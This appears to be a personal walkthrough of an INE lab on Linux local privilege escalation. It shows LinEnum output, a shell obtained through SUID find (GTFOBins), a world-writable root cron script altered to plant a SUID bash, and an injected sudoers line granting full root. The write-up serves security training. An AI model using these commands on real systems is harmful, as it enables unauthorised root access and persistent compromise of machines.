The scenario is described as follows:
The user will access a ubuntu instance as a student user. We will assume that we have compromised a machine and gained regular user access (student). We need to conduct local enumeration and obtain root access to the machine.
Objective: Find the SUID executables and vulnerable services to gain the root privileges.
LinEnum is located within /opt
:
student@INE:~$ /opt/LinEnum/LinEnum.sh > linenum.txt
student@INE:~$ more linenum.txt
File Permissions
Appearently, we can read the /root directory which contains a flag that we can’t read:
[...]
[+] We can read root's home directory!
total 40K
drwx------ 5 student student 4.0K Jan 21 06:02 .
drwxr-xr-x 23 root root 4.0K May 7 11:06 ..
-rw------- 1 root root 422 Jan 21 06:02 .bash_history
-rw-r--r-- 1 student student 3.1K Apr 9 2018 .bashrc
drwxr-xr-x 3 student student 4.0K Jan 21 05:39 .local
-rw-r--r-- 1 student student 148 Aug 17 2015 .profile
drwx------ 2 student student 4.0K Jan 21 05:37 .ssh
-rw------- 1 student student 558 Jan 21 05:39 .viminfo
-rw-r--r-- 1 root root 33 Jan 21 05:43 flag
drwxr-xr-x 3 student student 4.0K Jan 21 05:37 snap
[...]
We have full access to the /root
directory:
student@INE:/root$ ls -ld /root
drwx------ 5 student student 4096 May 7 08:27 /root
Not sure, if this was inteded, but we can read the flag without further ado:
student@INE:/root$ ls -l flag
-rw-r--r-- 1 root root 33 Jan 21 05:43 flag
student@INE:/root$ cat flag
697914df7a07bb9b718c8ed258150164
SUID Files
Next, LinEnum lists all SUID files and also highlights the /usr/bin/find
executable:
[-] SUID files:
-rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 117880 Jun 15 2021 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Aug 11 2021 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 149080 Jan 19 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 238080 Nov 5 2017 /usr/bin/find
-rwsr-xr-x 1 root root 123432 Nov 16 2021 /snap/snapd/14066/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 43088 Sep 16 2020 /snap/core18/2253/bin/mount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/2253/bin/ping
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/2253/bin/su
-rwsr-xr-x 1 root root 26696 Sep 16 2020 /snap/core18/2253/bin/umount
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/2253/usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/2253/usr/bin/chsh
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/2253/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/2253/usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/2253/usr/bin/passwd
-rwsr-xr-x 1 root root 149080 Jan 19 2021 /snap/core18/2253/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap/core18/2253/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Aug 11 2021 /snap/core18/2253/usr/lib/openssh/ssh-keysign
[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 238080 Nov 5 2017 /usr/bin/find
To remind myself: SUID is a special permission, that allows other users to run with the file owner’s permissions; in this case, the user root. GTFOBins shows how we can escalate find
:
student@INE:/root$ /usr/bin/find . -exec /bin/sh -p \; -quit
# id
uid=1001(student) gid=1001(student) euid=0(root) groups=1001(student)
As a proof that we escalated to root, we can change the flag’s file permissions:
# chmod 600 flag
# ls -l flag
-rw------- 1 root root 33 Jan 21 05:43 flag
And we can’t read the flag any more with user student:
student@INE:/root$ cat flag
cat: flag: Permission denied
SUDO
We can use sudo to start and stop the cron service:
student@INE:~$ sudo -l
[...]
User student may run the following commands on ip-10-2-28-16:
(root) NOPASSWD: /etc/init.d/cron
[...]
student@INE:~$ sudo /etc/init.d/cron
* Usage: /etc/init.d/cron {start|stop|status|restart|reload|force-reload}
The status option shows an interesting script that gets executed once per minute:
student@INE:~$ sudo /etc/init.d/cron status | grep CMD
May 07 10:19:01 ip-10-2-24-236 CRON[2013]: (root) CMD (sh /usr/local/share/copy.sh *)
May 07 10:20:01 ip-10-2-24-236 CRON[2067]: (root) CMD (sh /usr/local/share/copy.sh *)
The script does something with the message
file within the home directory of the student user:
student@INE:~$ cat /usr/local/share/copy.sh
#! /bin/bash
cp /home/student/message /tmp/message
chmod 644 /tmp/message
Since we have write permissions, we can simply modify the script to create a privileged shell:
student@INE:~$ ls -l /usr/local/share/copy.sh
-rwxrwxrwx 1 root root 74 Jan 21 05:41 /usr/local/share/copy.sh
student@INE:~$ cat >> /usr/local/share/copy.sh
cp /bin/bash /home/student/bash
chmod u+s /home/student/bash
^C
And we are now root:
student@INE:~$ ./bash -p
bash-4.4# id
uid=1001(student) gid=1001(student) euid=0(root) groups=1001(student)
bash-4.4# ls -l /root/flag
-rw------- 1 root root 33 Jan 21 05:43 /root/flag
bash-4.4# cat /root/flag
697914df7a07bb9b718c8ed258150164
The -p
option is important to keep the effective user id of the root user. See the explanation from bash
’s man page:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
Aftermath
Let’s now look at the differences between the solution walkthrough and what I did. Instead of creating a privileged bash
, the student user gets equipped with full sudo rights:
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers\n' > /usr/local/share/copy.sh
Now wait for the cron job to run and enjoy the root shell:
student@INE:~$ sudo -l
[...]
User student may run the following commands on ip-10-2-18-232:
(root) NOPASSWD: /etc/init.d/cron
(root) NOPASSWD: ALL
[...]
student@INE:~$ sudo su
root@ip-10-2-18-232:/home/student# id
uid=0(root) gid=0(root) groups=0(root)